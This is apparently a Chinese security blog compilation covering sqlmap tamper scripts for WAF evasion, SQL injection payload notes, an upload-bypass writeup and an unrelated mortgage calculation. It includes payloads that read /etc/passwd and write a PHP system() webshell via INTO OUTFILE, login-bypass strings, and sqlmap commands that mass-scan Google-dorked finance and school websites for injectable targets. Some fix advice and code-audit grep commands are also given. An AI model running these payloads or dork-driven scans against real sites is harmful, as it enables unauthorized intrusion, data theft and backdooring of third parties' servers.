SQLMAP自带的绕过脚本整理 –tamper

sqlmap绕过waf脚本在sqlmap目录下的tamper目录存放,使用方法 –tamper 后面跟上需要使用的脚本,借鉴网上某牛整理的,把不明确的改了下汇总出的绕过脚本列表。

apostrophemask.py UTF-8编码
Example:
* Input: AND ‘1’=’1′
* Output: AND %EF%BC%871%EF%BC%87=%EF%BC%871%EF%BC%87

apostrophenullencode.py unicode编码
Example:
* Input: AND ‘1’=’1′
* Output: AND %00%271%00%27=%00%271%00%27

appendnullbyte.py 添加%00
Example:
* Input: AND 1=1
* Output: AND 1=1%00
Requirement:
* Microsoft Access

base64encode.py base64编码
Example:
* Input: 1′ AND SLEEP(5)#
* Output: MScgQU5EIFNMRUVQKDUpIw==

between.py 以”not between”替换”>“
Example:
* Input: ‘A > B’
* Output: ‘A NOT BETWEEN 0 AND B’

bluecoat.py 以随机的空白字符替代空格,以”like”替代”=“
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id LIKE 1
Requirement:
* MySQL 5.1, SGOS

chardoubleencode.py 双重url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

charencode.py url编码
Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

charunicodeencode.py 对未进行url编码的字符进行unicode编码
Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
Requirement:
* ASP
* ASP.NET

equaltolike.py 以”like”替代”=“
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1

halfversionedmorekeywords.py 在每个关键字前添加条件注释
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa
Requirement:
* MySQL < 5.1

ifnull2ifisnull.py 以”IF(ISNULL(A), B, A)”替换”IFNULL(A, B)”
Example:
* Input: IFNULL(1, 2)
* Output: IF(ISNULL(1), 2, 1)
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

modsecurityversioned.py 条件注释
Example:
* Input: 1 AND 2>1–
* Output: 1 /*!30000AND 2>1*/–
Requirement:
* MySQL

modsecurityzeroversioned.py 条件注释,0000
Example:
* Input: 1 AND 2>1–
* Output: 1 /*!00000AND 2>1*/–
Requirement:
* MySQL

multiplespaces.py 添加多个空格
Example:
* Input: UNION SELECT
* Output:? UNION?? SELECT

nonrecursivereplacement.py? 单一过滤去重正则绕过
Example:
* Input: 1 UNION SELECT 2–
* Output: 1 UNUNIONION SELSELECTECT 2–

percentage.py 在每个字符前添加百分号(%)
Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
Requirement:
* ASP

randomcase.py 随机大小写
Example:
* Input: INSERT
* Output: InsERt

randomcomments.py 随机插入区块注释
Example:
‘INSERT’ becomes ‘IN/**/S/**/ERT’
securesphere.py 语句结尾添加”真”字符串
Example:
* Input: AND 1=1
* Output: AND 1=1 and ‘0having’=’0having’

sp_password.py 语句结尾添加”sp_password”迷惑数据库日志
Example: www.2cto.com
* Input: 1 AND 9227=9227–
* Output: 1 AND 9227=9227–sp_password
Requirement:
* MSSQL

space2comment.py 以区块注释替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT/**/id/**/FROM/**/users

space2dash.py 以单行注释”–”和随机的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1–PTTmJopxdWJ%0AAND–cWfcVRPV%0A9227=9227
Requirement:
* MSSQL
* SQLite

space2hash.py 以单行注释”#”和由随机字符组成的新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL

space2mssqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers
Requirement:
* Microsoft SQL Server

space2mssqlhash.py 以单行注释”#”和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1%23%0A9227=9227
Requirement:
* MSSQL
* MySQL

space2mysqlblank.py 以随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users
Requirement:
* MySQL

space2mysqldash.py 以单行注释和新行替换空格
Example:
* Input: 1 AND 9227=9227
* Output: 1–%0AAND–%0A9227=9227
Requirement:
* MySQL
* MSSQL

space2plus.py 以”+”替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT+id+FROM+users

space2randomblank.py 随机空白字符替换空格
Example:
* Input: SELECT id FROM users
* Output: SELECT\rid\tFROM\nusers

unionalltounion.py 以”union all”替换”union”
Example:
* Input: -1 UNION ALL SELECT
* Output: -1 UNION SELECT

unmagicquotes.py 以”%bf%27”替换单引号,并在结尾添加注释”–”
Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
versionedkeywords.py 对不是函数的关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output:? 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
Requirement:
* MySQL

versionedmorekeywords.py 对关键字条件注释
Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
Requirement:
* MySQL >= 5.1.13

读《SQL注入攻击与防御》笔记

‘ //单引号报错,转义
%bf%5c%27 //宽字节注入,数据库编码为GBK时,%bf%5c认为是一个字节,绕过PHP正则
UNION ALL SELECT LOAD_FILE(‘/etc/passwd’)– //读取系统文件
UNION SELECT “<?system($_REQUEST[‘cmd’];?>)” INTO OUTFILE “/var/www/html/0535code.com”– // 写入后门

and 1=1 和 and 1=2 //数字类型注入条件判断
原理:+1 和 -1 编码后://经测试,需要编码后测试 %2B1为+1,-1为-1,-号编码后也是-所以直接用-号测试好了

hacker 和 hack’ + ‘er 或 hack er //字符型注入条件判断
‘ and ‘1’=’1 和 ‘ and ‘1’=’2 //同上

#检测构造的时候,如果发现跳转页面,比如首页。会有两种情况存在;
#1、后台判断参数化查询,如果不符合参数类型则跳转,不存在注入漏洞
#2、后台判断是否正常返回记录值,如果没有则跳转,存在注入漏洞

and 1=0/@@version;– //字符串转化为整数 看版本
and 1=0/user;– //字符串转化为整数 看当前数据库用户

1′ GROUP BY productid having 1’=’1 //枚举所有列
1′ and USER not in (‘admin’) and 1=0/USER and 1’=’1 //判断当前账户权限,是否为管理员

常用内联测试字符串及变形:
字符型
1′ or ‘1’=’1
1′) or (‘1’=’1
value’ or ‘1’=’2
value’) or (‘1’=’2
1’and ‘1’=’1
1′) and (‘1’=’1
1’ or ‘ab’=’a’+’b’
1′) or (‘ab’=’a’+’b’)
1′ or ‘ab’=’a’b
1’) or (‘ab’=’a’b)
1’ or ‘ab’=’a’||’b
1’) or (‘ab’=’a’||’b
数字型
1+1
3-1
value+0
1 or 1=1
1) or (1=1
value or? 1=2
value) or (1=2
1 and 1=2
1) and (1=2
1 or ‘ab’=’a’+’b’
1) or (‘ab’=’a’+’b’
1 or ‘ab’=’a”b’
1) or? (‘ab’=’a”b’
1 or ‘ab’=’a’||’b’
1) or (‘ab’=’a’||’b’

登陆弱口令
admin’–
admin’)–
admin’#
admin’)#
1–
1)–
1 or 1=1–
1) or 1=1–
‘or ‘1’=’1′–
‘) or ‘1’=’1′–
-1 and 1=2–
-1) and 1=2–
‘and ‘1’=’2′–
‘) and ‘1’=’2′–
1/*comment*/

microsoft sql 时间延迟
aspx?id=1; waitfor delay ‘0:0:5’;–

mysql 时间延迟
php?id=1; select benchmark(10000000,encode(‘hello’,’mom’);–

利用篇
@@version #DBMS版本
@@servername #安装SQL server服务器名称
@@language #当前使用语言
@@spid #当前用户进程ID

11+union+select+null,null,null,null– 嗅探列数
11+order+by+6 排序方式实现嗅探列数,实际列数 6-1=5列
#排序方式实现结合 二分法算法实现 可提高效率
#UNION对已知表数据查询速度会更快一些

asp?id=12;if+(system_user=’sa’)+WAITFOR+DELAY+’0:0:5′– mssql判断是否为dba权限
select len(system_user) 获取用户名长度

绕过技术:
1.随机大小写绕过
SeLect
2.URL编码绕过
‘%2f%2a*/UNION%2f%2a*/password%2f%2a*/FROM%2f%2a*/table_User%2f%2a*/…
3.双URL编码绕过
%252f%%252a*/UNION%252f%%252a*/…
4.动态查询绕过
Oracle:’SELE’||’ct’ 编码后 ‘SELE’%20’ct’
MS-SQL:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
Mysql:’SELE’+’ct’ 编码后 ‘SELE’%2B’ct’
5.ASCII码编码绕过
char()
6.使用空字节
%00′ UNION SELECT password FROM table_User WHERE username=’admin’–
7.嵌套剥离后的表达式
比如SELECTSELECT,只过滤了其中一个
8.利用截断
单引号或双引号或扩展闭合截断
9.GET,POST方式切换

/**/ 单行注释
–? 多行注释
# mysql单行注释符
SELECT 1 /*!40119 + 1*/ 加!号后,如果当前数据库版本等于大于4.01.19则代码被执行

value/**/or/**/1=1?? //空格绕过

审计技术

grep -r -n “\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#对文件目录遍历,src为路径,php版
grep -r -n “\(oci\|ora\)_parse\(.*\$_\(GET\|POST\).*\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#java版
grep -r -n “preparedStatement(\|executeQuery(\|executeUpdate(\|execute(|addBatch(\|executeBatch(” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

#C#版
grep -r -n “SqlCommand(\|SqlParameter(\|OleDbCommand(\|OleDbparameter(\OracleCommand(\|OracleParameter(|\OdbcCommand(\|Odbcparameter” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’
#查是否存在注入点
grep -i -r -n “sql =.*\”\(SELECT\|UPDATE\|INSERT\|DROP\)” src/ | awk -F : ‘{print “filename:”$1″\n line: “$2″\n match: “$3″\n\n”}’

注入类型:
1.时间延迟注入
aspx?id=1; waitfor delay ‘0:0:5’;–
分割sql语句,前面sql语句如果为假,则执行后面语句 waitfor delay ‘0:0:5’;– 判断返回时间是否延迟了5秒
2.基于错误注入
asp?id=1/is_srvrolemember(‘sysadmin’)
上述构造是利用返回错误,反推构造sql条件
3.基于内容
asp?id=2、asp?id=2-1、asp?id=2%2B1(asp?id=2+1)、
利用返回内容,测试是否存在sql注入,后面可以写为其他条件

修复漏洞:
输入验证,即参数化查询,强制数据类型及字符串长度控制。
数据类型、数据大小、数据范围、数据内容
正则过滤,白名单正则(不推荐黑名单正则,世面一般都是用的黑名单正则)

sqlmap 谷歌批量扫注入点

国内访问不了谷歌,需要配置代理信息,同事推荐了一款软件lantern,中文名蓝灯,蛮好用的,开始用这款软件,发现IE和谷歌浏览器可以访问谷歌网站,而火狐不能访问,仔细检查了一下,lantern是通过配置文件加载代理的,在IE选项中找到了lantern的代理配置文件:http://0535code.com:16823/proxy_on.pac?1463293413301131900,直接打开下载得到如下脚本:
var bypassDomains = [”];
function FindProxyForURL(url, host) {
if (isPlainHostName(host) // including localhost
|| shExpMatch(host, “*.local”)) {
return “DIRECT”;
}
// only checks plain IP addresses to avoid leaking domain name
if (/^[0-9.]+$/.test(host)) {
if (isInNet(host, “10.0.0.0”, “255.0.0.0”) ||
isInNet(host, “172.16.0.0”,? “255.240.0.0”) ||
isInNet(host, “192.168.0.0”,? “255.255.0.0”) ||
isInNet(host, “127.0.0.0”, “255.255.255.0”)) {
return “DIRECT”;
}
}
// Lantern desktop version proxies only http(s) and ws(s)
if (url.substring(0, 4) != ‘http’ && (url.substring(0, 2) != ‘ws’)) {
return “DIRECT”;
}
for (var d in bypassDomains) {
if (host == bypassDomains[d]) {
return “DIRECT”;
}
}
return “PROXY 127.0.0.1:8787; DIRECT”;
}
通过上面脚本看到返回的代理信息为127.0.0.1:8787,把火狐设为这个代理,火狐也可以访问谷歌了,也可以用sqlmap加这个代理批量扫注入点了。
扫注入点之前先要了解搜索引擎命令,inurl,site,intitle等等,可以结合一起用。
查asp注入点:inurl=\”asp?id=\”
查php注入点:inurl=\”php?id=\”
查jsp注入点:inurl=\”jsp?id=\”

如果要查一个网站的注入点可以构造 site:\”0535code.com\”+inurl:\”php?id=\”
如果要查一个行业的注入点可以构造 intitle:\”金融\”+inurl:\”php?id=\”
蛮方便灵活的。demo如下:
python sqlmap -g “inurl:asp?id=” –proxy http://0535code.com:8787 –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”
python sqlmap -g “intitle:\”金融\”+inurl:\”php?id=\”” –proxy http://0535code.com:8787 –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”

跑完后查看 sqlmap 输出目录output下站点存在session.sqlite文件则存在注入点,target.txt文件里面存放的存在注入点的链接。
这种方法不太稳定,有时不会成功,找了另外一种方法比较靠谱,相对也是不稳定的,不过比我这个配置要简单一些噢、
百度搜索”google hosts”,我是找到了:https://laod.cn/hosts/2017-google-hosts.html 修改hosts确实是可用的。
然后用下面命令在kali跑注入点:
sqlmap -g “intitle:\”金融\”+inurl:\”php?id=\”” –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”
sqlmap默认测试谷歌前100页,想增加页面怎么办呢,只有查看iasqlmap的源代码了,在sqlmap\lib\utils\search.py中的63行找到如下:

url = “https://www.google.com/search?”
url += “q=%s&” % urlencode(dork, convall=True)
url += “num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search”
url += “&start=%d” % ((gpage – 1) * 100)

拼接上面url得到:https://www.google.com/search?q=金融&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=1
这是默认的,如果我要定制规则的话,首先要明白上面每个参数的意义,参考:http://blog.csdn.net/lcg0412/article/details/45050021

q:搜索关键词
num:搜索页面,默认为10,貌似最大是100,改为1000试试看
hl:默认问英文en,改为中文则是zh-CN,排除国外的网站
complete:全部结果
safe:是否开启安全过滤
filter:是否过滤重复结果
btnG:正常搜索提交
start:开始页面

然后我就把代码改为了:
url = “https://www.google.com/search?”
url += “q=%s&” % urlencode(dork, convall=True)
url += “num=1000&hl=zh-CN&complete=0&safe=off&filter=0&btnG=Search”
url += “&start=%d” % ((gpage – 1) * 100)

实际中搜索拼接的url为:https://www.google.com/search?q=金融&num=1000&hl=zh-CN&complete=0&safe=off&filter=0&btnG=Search&start=1,如果没有翻墙的话,通过 https://www.abc.re/ 在线搜索查看谷歌的语法好了、
ok,开始跑。。。新版sqlmap的输出目录在/root/.sqlmap/output
sqlmap -g “intitle:\”金融\”+inurl:\”php?id=\”” –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”
新版的结果不会生成target.txt文件,而是在csv文件里面会有一个列表,有注入问题的会显示注入方式和注入参数,注入类型。
Technique是注入类型:(验证的时候加入 –technique 参数)

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

通过谷歌扫描一个站点:
sqlmap -g “site:0535code.com inurl:php” –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n”

有时候会自动中断,在老版本中,如果中断了重新运行命令,会自动忽略已经检测过的站点了,在新版本中确不行,重新运行命令会重新检测之前检测过的站点,去官方手册也没查到相关信息,有个–o参数是保存日志,对于单个站点是生效的,但是对于谷歌扫描试过是无效的,然后也看了下sqlmap.conf配置文件,不看不知道,一看吓一跳,功能超多,远远比网上介绍的那么多参数多得多。
如果不能继续扫描会很耽误事的,肿么办呢?我去调试了sqlmap的源码,源码好大,一下找不到,只找到谷歌检索的页面url了,可以把sqlmap中通过谷歌提取出来的url保存为文件,然后用-r参数从文件中加载,这样知道跑到什么位置了,下次删掉检索过的url继续就可以了。看了下源代码、模块化蛮多的,不如自己写个爬虫,爬取谷歌的搜索url,正在这时发现有一个重要的参数:
–gpage=5 #谷歌页数,谷歌一页是10哥url,跑到50多了,从第五页开始跑好了,前面虽然会有重复的,不至于从头开始跑。跑到第几个url,sqlmap会有提示。
然后还有一个参数,要清空下扫描文件,用 –purge-output 会自动把 /root/.sqlmap/output 下的文件清空,清空前记得把csv文件保存噢、貌似后面的url,越在后面的权重越小,漏洞的意义也就不大了。
sqlmap -g “intitle:\”学校\”+inurl:\”php?id=\”” –random-agent -f –batch –answer=”extending=N,follow=N,keep=N,exploit=n” –gpage=5
== 另外查看报告的时候可以用 cat -n ****.csv | grep GET ,可以直接显示出有结果的项。
之后又发现一个问题,有一个启发模式参数–smart ,加入可以快速扫描,速度增加了几十倍噢、

买房计划计算怎么赚钱

买房月供计算:
100W 的房子,首付30W,贷款70W,还款30年
贷款70W/还款30年 = 年供2.33 + 贷款5%利息 = 2.33W+0.1165W
合计上面的,一年还贷款 23300+ 1165 = 24465
一个月还贷款 24465/12 = 2038.75

基础条件:
房子买到手后 租出去一个月至少 2k,公积金一个月2k,合计一个月 4k
4k – 2k = 2k 月赚2k

有利因素:
总价100w+100w*5% = 105W
首付了30W, 30年无需还贷款,剩下40年自己赚的。
40年 * (12个月*2000) = 96W
通货膨胀因素,无需30年,房租会涨,租房出去会赚钱

查漏补缺:
契税 100W*1% = 1W
税费2-3w
物业费 1000-1500
燃气、暖气 1500

咦。貌似出差错了,算错了。。。

关于上传漏洞那些事儿

上传漏洞从切入点,可以分为两种一种是在客户端产生的,另外一种是服务端效验被绕过。

客户端额和服务端会产生的一些问题:
1.前端效验扩展名,某次某政府的站是用flash上传的,通过前端js交互限制了上传扩展名,记得是用的开源的某款产品,一般老CMS会存在这个问题,这种是在客户端产生的,可以直接上传一句话;
2.文件扩展名被绕过:比如asp程序,后端效验了不允许上传asp文件,用asa就可以绕过,php的用php2,php3可绕过,jsp用jspx可绕过。黑名单效验很早就被通告不靠谱了,采用白名单方式效验,限制只允许上传.jpg/jpeg/gif/png等,限制了也不能说就安全了,比如php,可以上传图片一句话木马,上传后可以利用iis解析漏洞获取webshell了,如果不存在iis解析漏洞则可以继续找文件包含漏洞,或者全局变量覆盖+文件包含都可以拿到webshell,如果上面都问题都不存在了,依旧有其他办法可以被绕过。(比如后端没有效验大小写Asp、Php、Jsp等绕过判断)
3.00截断:在发送数据包的过程中,找到文件16进制最后一个字节,改为00,或者在文件扩展名后面加上;%00、;、chr(0)去截断,即C语言中的NULL结束符,00后面的将被忽略,例如shell.php%00.jpg,实际上传后为shell.php后面部分被截断了,如果是文件包含,还有另一种截断方式长文件名截断,win为259字节,linux为4096字节,如果上传shell.php././././././././.jpg,或者.或者/超过系统最大文件名则被截断。
4.上传类型绕过,分为两种在客户端上传文件的时候,会指定发送一个头字段Content-type,为文件类型,后端如果判断了文件类型,可以在客户端上传的时候,修改Content-type字段,还有一种是在服务端获取到文件后再判断文件类型,一般是图片文件会这么做,比如GIF格式的图片,文件头特征码为GIF89a,可以在上传的时候伪造文件头绕过服务端的判断。
5.跨目录漏洞,存在于上传路径在客户端发送,一般上传目录为Upload,而Upload路径没有执行权限,上传路径修改../Upload就有执行权限了,还可以上传畸形文件shell.php/shell.jpg同时可以嗅探绕过正则,以前xheditor编辑器判断上传文件名包括要包括图片扩展名, 用shell.jpg/shell.php就可以绕过去了。

暂时就想到这么多了,刚编辑了好多都被加速乐过滤了,没保存。。。解决方案如下:
文件最小权限原则,如果上传的是图片,则只有读写权限,没有执行权限,限制上传文件类型和文件扩展名白名单;下载漏洞,如果下载的文件类型少的话,推荐用swich分支语句控制参数范围,如果下载文件多,类型统一的话,限制下载类型,类型不统一的话限制下载目录,将..替换成空(禁止路径回溯),下载文件类型和白名单格式效验。
(针对图片一句话木马的处理方案为限制执行权限或图片文件的二次渲染。)